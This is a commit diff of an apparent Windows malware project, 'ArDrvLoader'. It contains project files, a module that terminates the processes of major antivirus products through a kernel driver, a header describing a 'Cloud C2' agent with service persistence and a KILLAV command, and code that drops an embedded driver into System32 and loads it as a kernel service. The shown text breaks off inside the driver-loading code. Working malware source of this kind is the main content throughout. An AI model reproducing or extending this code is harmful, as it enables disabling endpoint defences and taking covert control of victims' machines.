Init commit
This commit is contained in:
+70
@@ -0,0 +1,70 @@
|
|||||||
|
# ── Visual Studio ────────────────────────────────────────────────
|
||||||
|
.vs/
|
||||||
|
*.sln.docstates
|
||||||
|
*.suo
|
||||||
|
*.user
|
||||||
|
*.rsuser
|
||||||
|
*.VC.db
|
||||||
|
*.VC.VC.opendb
|
||||||
|
*.psess
|
||||||
|
*.vsp
|
||||||
|
*.vspx
|
||||||
|
*.sap
|
||||||
|
|
||||||
|
# ── Build output / MSBuild intermediates ─────────────────────────
|
||||||
|
x64/
|
||||||
|
Debug/
|
||||||
|
Release/
|
||||||
|
dist/
|
||||||
|
obj/
|
||||||
|
bin/
|
||||||
|
*.obj
|
||||||
|
*.res
|
||||||
|
*.tlog
|
||||||
|
*.recipe
|
||||||
|
*.ilk
|
||||||
|
*.iobj
|
||||||
|
*.ipdb
|
||||||
|
*.idb
|
||||||
|
*.pdb
|
||||||
|
*.lastbuildstate
|
||||||
|
*.cache
|
||||||
|
*.log
|
||||||
|
|
||||||
|
# ── Generated binaries (build.ps1 rebuilds these) ────────────────
|
||||||
|
*.exe
|
||||||
|
*.dll
|
||||||
|
ardrvstage.dll
|
||||||
|
ArDrvLoader.exe
|
||||||
|
|
||||||
|
# ── Node / server ────────────────────────────────────────────────
|
||||||
|
node_modules/
|
||||||
|
npm-debug.log*
|
||||||
|
yarn-error.log*
|
||||||
|
pnpm-debug.log*
|
||||||
|
package-lock.json.bak
|
||||||
|
|
||||||
|
# ── Server runtime data (SQLite db, WAL/SHM) ─────────────────────
|
||||||
|
server/data/
|
||||||
|
*.sqlite
|
||||||
|
*.sqlite-wal
|
||||||
|
*.sqlite-shm
|
||||||
|
*.db
|
||||||
|
|
||||||
|
# ── Secrets / local config ───────────────────────────────────────
|
||||||
|
.env
|
||||||
|
.env.local
|
||||||
|
.env.*.local
|
||||||
|
cloudflare/.dev.vars
|
||||||
|
cloudflare/.wrangler/
|
||||||
|
|
||||||
|
# ── Temp / misc ──────────────────────────────────────────────────
|
||||||
|
*.tmp
|
||||||
|
*.temp
|
||||||
|
*.bak
|
||||||
|
*.orig
|
||||||
|
*.swp
|
||||||
|
*~
|
||||||
|
Thumbs.db
|
||||||
|
desktop.ini
|
||||||
|
.DS_Store
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio Version 17
|
||||||
|
VisualStudioVersion = 17.0.31903.59
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ArDrvLoader", "ArDrvLoader.vcxproj", "{8F0F2E5A-7A31-4A6C-8F51-0A8F0A7A1B2C}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|x64 = Debug|x64
|
||||||
|
Release|x64 = Release|x64
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{8F0F2E5A-7A31-4A6C-8F51-0A8F0A7A1B2C}.Debug|x64.ActiveCfg = Debug|x64
|
||||||
|
{8F0F2E5A-7A31-4A6C-8F51-0A8F0A7A1B2C}.Debug|x64.Build.0 = Debug|x64
|
||||||
|
{8F0F2E5A-7A31-4A6C-8F51-0A8F0A7A1B2C}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{8F0F2E5A-7A31-4A6C-8F51-0A8F0A7A1B2C}.Release|x64.Build.0 = Release|x64
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
||||||
@@ -0,0 +1,137 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<VCProjectVersion>17.0</VCProjectVersion>
|
||||||
|
<ProjectGuid>{8F0F2E5A-7A31-4A6C-8F51-0A8F0A7A1B2C}</ProjectGuid>
|
||||||
|
<RootNamespace>ArDrvLoader</RootNamespace>
|
||||||
|
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)'=='Debug'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;WIN32_LEAN_AND_MEAN;UNICODE;_UNICODE;_CRT_SECURE_NO_WARNINGS;ARDRV_DEFAULT_URL=L"http://127.0.0.1:8789";ARDRV_DEFAULT_OPERATOR_KEY=L"testop";ARDRV_DEFAULT_SECRET=L"testsecret";ARDRV_DEFAULT_AGENT=L"";ARDRV_ALLOW_VM_DEFAULT=1;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)'=='Release'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>NDEBUG;WIN32_LEAN_AND_MEAN;UNICODE;_UNICODE;_CRT_SECURE_NO_WARNINGS;ARDRV_DEFAULT_URL=L"http://127.0.0.1:8789";ARDRV_DEFAULT_OPERATOR_KEY=L"testop";ARDRV_DEFAULT_SECRET=L"testsecret";ARDRV_DEFAULT_AGENT=L"";ARDRV_ALLOW_VM_DEFAULT=1;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<EntryPointSymbol>wmainCRTStartup</EntryPointSymbol>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<AdditionalOptions>/Brepro /PDBALTPATH:%_PDB% %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="driver_res.rc">
|
||||||
|
<PreprocessorDefinitions Condition="Exists('ardrv.sys') AND '$(EmbedPayload)'!='false'">HAVE_DRIVER_IMAGE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
</ResourceCompile>
|
||||||
|
<ResourceCompile Include="stage_res.rc">
|
||||||
|
<PreprocessorDefinitions Condition="Exists('ardrvstage.dll') AND '$(EmbedPayload)'!='false'">HAVE_STAGE_DLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
</ResourceCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="main.cpp" />
|
||||||
|
<ClCompile Include="CloudAgent.cpp" />
|
||||||
|
<ClCompile Include="GuardService.cpp" />
|
||||||
|
<ClCompile Include="Logger.cpp" />
|
||||||
|
<ClCompile Include="TokenUtils.cpp" />
|
||||||
|
<ClCompile Include="DriverClient.cpp" />
|
||||||
|
<ClCompile Include="ProcessUtils.cpp" />
|
||||||
|
<ClCompile Include="ShellcodeUtils.cpp" />
|
||||||
|
<ClCompile Include="AvKill.cpp" />
|
||||||
|
<ClCompile Include="ServiceManager.cpp" />
|
||||||
|
<ClCompile Include="VmDetect.cpp" />
|
||||||
|
<ClCompile Include="KillSafety.cpp" />
|
||||||
|
<ClCompile Include="HostSpawn.cpp" />
|
||||||
|
<ClCompile Include="HostStager.cpp" />
|
||||||
|
<ClCompile Include="Paths.cpp" />
|
||||||
|
<ClCompile Include="StageClient.cpp" />
|
||||||
|
<ClCompile Include="Exclusions.cpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="Common.h" />
|
||||||
|
<ClInclude Include="CloudAgent.h" />
|
||||||
|
<ClInclude Include="GuardService.h" />
|
||||||
|
<ClInclude Include="resource.h" />
|
||||||
|
<ClInclude Include="Logger.h" />
|
||||||
|
<ClInclude Include="TokenUtils.h" />
|
||||||
|
<ClInclude Include="DriverClient.h" />
|
||||||
|
<ClInclude Include="ProcessUtils.h" />
|
||||||
|
<ClInclude Include="ShellcodeUtils.h" />
|
||||||
|
<ClInclude Include="AvKill.h" />
|
||||||
|
<ClInclude Include="ServiceManager.h" />
|
||||||
|
<ClInclude Include="VmDetect.h" />
|
||||||
|
<ClInclude Include="KillSafety.h" />
|
||||||
|
<ClInclude Include="HostSpawn.h" />
|
||||||
|
<ClInclude Include="HostStager.h" />
|
||||||
|
<ClInclude Include="Paths.h" />
|
||||||
|
<ClInclude Include="StageClient.h" />
|
||||||
|
<ClInclude Include="Exclusions.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
</Project>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
@@ -0,0 +1,113 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="Source Files">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Header Files">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="main.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="CloudAgent.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="GuardService.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="Logger.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="TokenUtils.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="DriverClient.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="ProcessUtils.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="ShellcodeUtils.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="AvKill.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="ServiceManager.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="VmDetect.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="Paths.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="HostStager.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="HostSpawn.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="KillSafety.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="Common.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="CloudAgent.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="GuardService.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Logger.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="TokenUtils.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="DriverClient.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="ProcessUtils.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="ShellcodeUtils.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="AvKill.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="ServiceManager.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="VmDetect.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Paths.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="HostStager.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="HostSpawn.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="KillSafety.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
+74
@@ -0,0 +1,74 @@
|
|||||||
|
#include "Common.h"
|
||||||
|
#include "AvKill.h"
|
||||||
|
#include "KillSafety.h"
|
||||||
|
#include "Logger.h"
|
||||||
|
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
static const wchar_t* kAvImages[] =
|
||||||
|
{
|
||||||
|
L"MsMpEng.exe",
|
||||||
|
L"NisSrv.exe",
|
||||||
|
L"MpCmdRun.exe",
|
||||||
|
L"avast.exe",
|
||||||
|
L"AvastUI.exe",
|
||||||
|
L"AvastSvc.exe",
|
||||||
|
L"avguard.exe",
|
||||||
|
L"avgnt.exe",
|
||||||
|
L"AvgSvc.exe",
|
||||||
|
L"avp.exe",
|
||||||
|
L"klnagent.exe",
|
||||||
|
L"klheads.exe",
|
||||||
|
L"kxetray.exe",
|
||||||
|
L"ekrn.exe",
|
||||||
|
L"ESETSvc.exe",
|
||||||
|
L"mcshield.exe",
|
||||||
|
L"mfemms.exe",
|
||||||
|
L"sophosclean.exe",
|
||||||
|
L"SAVService.exe",
|
||||||
|
L"ccSvcHst.exe",
|
||||||
|
L"smc.exe",
|
||||||
|
L"bdagent.exe",
|
||||||
|
L"vsserv.exe",
|
||||||
|
};
|
||||||
|
|
||||||
|
static std::vector<std::wstring> AvImageList()
|
||||||
|
{
|
||||||
|
std::vector<std::wstring> v;
|
||||||
|
|
||||||
|
for (const wchar_t* n : kAvImages)
|
||||||
|
v.emplace_back(n);
|
||||||
|
|
||||||
|
return v;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool KillAVProcesses()
|
||||||
|
{
|
||||||
|
KillReport report;
|
||||||
|
|
||||||
|
// Env switch lets you watch the decision path without terminating anything.
|
||||||
|
wchar_t dry[8]{};
|
||||||
|
DWORD n = GetEnvironmentVariableW(L"ARDRV_KILL_DRYRUN", dry, _countof(dry));
|
||||||
|
const bool dryRun = n > 0 && (dry[0] == L'1' || dry[0] == L'y' || dry[0] == L'Y');
|
||||||
|
|
||||||
|
KillProcessesSafe(AvImageList(), dryRun, 16, report, true);
|
||||||
|
|
||||||
|
Log(L"[+] AV kill: %s", report.Format().c_str());
|
||||||
|
|
||||||
|
wprintf(L"[killav] %s\n", report.Format().c_str());
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool KillAVProcessesEx(bool dryRun, std::wstring& summary)
|
||||||
|
{
|
||||||
|
KillReport report;
|
||||||
|
|
||||||
|
KillProcessesSafe(AvImageList(), dryRun, 16, report, true);
|
||||||
|
|
||||||
|
summary = report.Format();
|
||||||
|
|
||||||
|
Log(L"[+] AV kill: %s", summary.c_str());
|
||||||
|
return report.killed > 0;
|
||||||
|
}
|
||||||
|
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
// Safe AV termination through the driver: identity-checked, protected-list
|
||||||
|
// aware, capped. Honours ARDRV_KILL_DRYRUN=1.
|
||||||
|
bool KillAVProcesses();
|
||||||
|
|
||||||
|
// Same, with an explicit dry-run switch and a report string for the cloud ACK.
|
||||||
|
bool KillAVProcessesEx(bool dryRun, std::wstring& summary);
|
||||||
+3464
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,20 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
// Cloud C2 mode. Call as:
|
||||||
|
// ArDrvLoader.exe -cloud [options] [agent] <url> <secret> [interval_ms]
|
||||||
|
int RunCloudAgent(int argc, wchar_t** argv);
|
||||||
|
|
||||||
|
// Windows service entry point. Install with:
|
||||||
|
// sc create ArDrvAgent binPath= "\"C:\path\ArDrvLoader.exe\" -cloud-service --service-name ArDrvAgent"
|
||||||
|
int RunCloudService(int argc, wchar_t** argv);
|
||||||
|
|
||||||
|
// One-time enrollment: fetches this agent's own key from the worker and stores
|
||||||
|
// it next to the host tracking file.
|
||||||
|
// ArDrvLoader.exe -enroll --url <worker> --agent <id> --enroll-secret <token>
|
||||||
|
int RunEnroll(int argc, wchar_t** argv);
|
||||||
|
|
||||||
|
// Client-side bring-up from a single exe: install, wait for the agent, queue KILLAV.
|
||||||
|
// ArDrvLoader.exe -bootstrap --url <worker> --operator-key <key> [--secret <s>] [--agent <id>]
|
||||||
|
int RunBootstrap(int argc, wchar_t** argv);
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifndef WIN32_LEAN_AND_MEAN
|
||||||
|
#define WIN32_LEAN_AND_MEAN
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
#include <tlhelp32.h>
|
||||||
|
#include <sddl.h>
|
||||||
|
#include <userenv.h>
|
||||||
|
#include <wtsapi32.h>
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
#pragma comment(lib, "advapi32.lib")
|
||||||
|
#pragma comment(lib, "Userenv.lib")
|
||||||
|
#pragma comment(lib, "Wtsapi32.lib")
|
||||||
@@ -0,0 +1,377 @@
|
|||||||
|
#include "Common.h"
|
||||||
|
#include "DriverClient.h"
|
||||||
|
#include "TokenUtils.h"
|
||||||
|
#include "Logger.h"
|
||||||
|
#include "resource.h"
|
||||||
|
|
||||||
|
static HANDLE g_hDriver = INVALID_HANDLE_VALUE;
|
||||||
|
|
||||||
|
#define DRIVER_NAME L"\\\\.\\ArDrv"
|
||||||
|
#define SERVICE_NAME L"ArDrv"
|
||||||
|
#define DRIVER_PATH L"C:\\Windows\\System32\\drivers\\ardrv.sys"
|
||||||
|
|
||||||
|
#define IOCTL_TERM 0x2420031
|
||||||
|
#define IOCTL_ESC 0x2420035
|
||||||
|
|
||||||
|
// Writes the driver image that was packed into this executable via RCDATA.
|
||||||
|
// Returns false when no image is embedded or when writing fails.
|
||||||
|
DWORD EmbeddedDriverSize()
|
||||||
|
{
|
||||||
|
HRSRC res = FindResourceW(nullptr, MAKEINTRESOURCEW(IDR_ARDRV_SYS), RT_RCDATA);
|
||||||
|
return res ? SizeofResource(nullptr, res) : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool WriteEmbeddedDriverTo(const wchar_t* destPath)
|
||||||
|
{
|
||||||
|
HRSRC res = FindResourceW(nullptr, MAKEINTRESOURCEW(IDR_ARDRV_SYS), RT_RCDATA);
|
||||||
|
|
||||||
|
if (!res)
|
||||||
|
{
|
||||||
|
Log(L"[-] No embedded driver image in this build");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD size = SizeofResource(nullptr, res);
|
||||||
|
|
||||||
|
if (size == 0)
|
||||||
|
{
|
||||||
|
Log(L"[-] Embedded driver resource is empty");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
HGLOBAL loaded = LoadResource(nullptr, res);
|
||||||
|
|
||||||
|
if (!loaded)
|
||||||
|
{
|
||||||
|
Log(L"[-] LoadResource failed: %lu", GetLastError());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
const void* data = LockResource(loaded);
|
||||||
|
|
||||||
|
if (!data)
|
||||||
|
{
|
||||||
|
Log(L"[-] LockResource failed: %lu", GetLastError());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD attr = GetFileAttributesW(destPath);
|
||||||
|
|
||||||
|
if (attr != INVALID_FILE_ATTRIBUTES)
|
||||||
|
{
|
||||||
|
if (attr & FILE_ATTRIBUTE_READONLY)
|
||||||
|
SetFileAttributesW(destPath, attr & ~FILE_ATTRIBUTE_READONLY);
|
||||||
|
|
||||||
|
DeleteFileW(destPath);
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE file = CreateFileW(
|
||||||
|
destPath,
|
||||||
|
GENERIC_WRITE,
|
||||||
|
0,
|
||||||
|
nullptr,
|
||||||
|
CREATE_ALWAYS,
|
||||||
|
FILE_ATTRIBUTE_NORMAL,
|
||||||
|
nullptr);
|
||||||
|
|
||||||
|
if (file == INVALID_HANDLE_VALUE)
|
||||||
|
{
|
||||||
|
Log(L"[-] Cannot create %s: %lu", destPath, GetLastError());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD written = 0;
|
||||||
|
BOOL ok = WriteFile(file, data, size, &written, nullptr);
|
||||||
|
DWORD err = GetLastError();
|
||||||
|
|
||||||
|
CloseHandle(file);
|
||||||
|
|
||||||
|
if (!ok || written != size)
|
||||||
|
{
|
||||||
|
Log(L"[-] WriteFile %s failed: %lu", destPath, err);
|
||||||
|
DeleteFileW(destPath);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
Log(L"[+] Embedded driver extracted: %s (%lu bytes)", destPath, size);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool OpenDriver()
|
||||||
|
{
|
||||||
|
if (g_hDriver != INVALID_HANDLE_VALUE)
|
||||||
|
return true;
|
||||||
|
|
||||||
|
g_hDriver = CreateFileW(
|
||||||
|
DRIVER_NAME,
|
||||||
|
GENERIC_READ | GENERIC_WRITE,
|
||||||
|
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
||||||
|
nullptr,
|
||||||
|
OPEN_EXISTING,
|
||||||
|
0,
|
||||||
|
nullptr);
|
||||||
|
|
||||||
|
if (g_hDriver == INVALID_HANDLE_VALUE)
|
||||||
|
{
|
||||||
|
Log(L"[-] OpenDriver failed: %lu", GetLastError());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
Log(L"[+] Driver opened");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CloseDriver()
|
||||||
|
{
|
||||||
|
if (g_hDriver != INVALID_HANDLE_VALUE)
|
||||||
|
{
|
||||||
|
CloseHandle(g_hDriver);
|
||||||
|
g_hDriver = INVALID_HANDLE_VALUE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ExtractDriverImageIfEmbedded(const wchar_t* destPath)
|
||||||
|
{
|
||||||
|
if (!destPath || !*destPath)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
DWORD attr = GetFileAttributesW(destPath);
|
||||||
|
|
||||||
|
if (attr != INVALID_FILE_ATTRIBUTES)
|
||||||
|
return true;
|
||||||
|
|
||||||
|
return WriteEmbeddedDriverTo(destPath);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool EnsureDriverLoaded()
|
||||||
|
{
|
||||||
|
if (OpenDriver())
|
||||||
|
return true;
|
||||||
|
|
||||||
|
// Packed driver: drop it on disk before the SCM tries to load it.
|
||||||
|
if (GetFileAttributesW(DRIVER_PATH) == INVALID_FILE_ATTRIBUTES)
|
||||||
|
ExtractDriverImageIfEmbedded(DRIVER_PATH);
|
||||||
|
|
||||||
|
SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
|
||||||
|
if (!scm)
|
||||||
|
{
|
||||||
|
Log(L"[-] OpenSCManager failed: %lu", GetLastError());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
SC_HANDLE svc = OpenServiceW(scm, SERVICE_NAME, SERVICE_QUERY_STATUS | SERVICE_START);
|
||||||
|
|
||||||
|
if (!svc)
|
||||||
|
{
|
||||||
|
DWORD e = GetLastError();
|
||||||
|
|
||||||
|
if (e == ERROR_SERVICE_EXISTS)
|
||||||
|
{
|
||||||
|
svc = OpenServiceW(scm, SERVICE_NAME, SERVICE_QUERY_STATUS | SERVICE_START);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
svc = CreateServiceW(
|
||||||
|
scm,
|
||||||
|
SERVICE_NAME,
|
||||||
|
SERVICE_NAME,
|
||||||
|
SERVICE_QUERY_STATUS | SERVICE_START,
|
||||||
|
SERVICE_KERNEL_DRIVER,
|
||||||
|
SERVICE_DEMAND_START,
|
||||||
|
SERVICE_ERROR_NORMAL,
|
||||||
|
DRIVER_PATH,
|
||||||
|
nullptr,
|
||||||
|
nullptr,
|
||||||
|
nullptr,
|
||||||
|
nullptr,
|
||||||
|
nullptr);
|
||||||
|
|
||||||
|
if (svc)
|
||||||
|
Log(L"[+] Driver service created");
|
||||||
|
else
|
||||||
|
Log(L"[-] CreateService failed: %lu", GetLastError());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (svc)
|
||||||
|
{
|
||||||
|
SERVICE_STATUS st{};
|
||||||
|
bool running = QueryServiceStatus(svc, &st) && (st.dwCurrentState == SERVICE_RUNNING);
|
||||||
|
|
||||||
|
if (!running)
|
||||||
|
{
|
||||||
|
BOOL started = StartServiceW(svc, 0, nullptr);
|
||||||
|
DWORD e = GetLastError();
|
||||||
|
|
||||||
|
if (!started && e != ERROR_SERVICE_ALREADY_RUNNING)
|
||||||
|
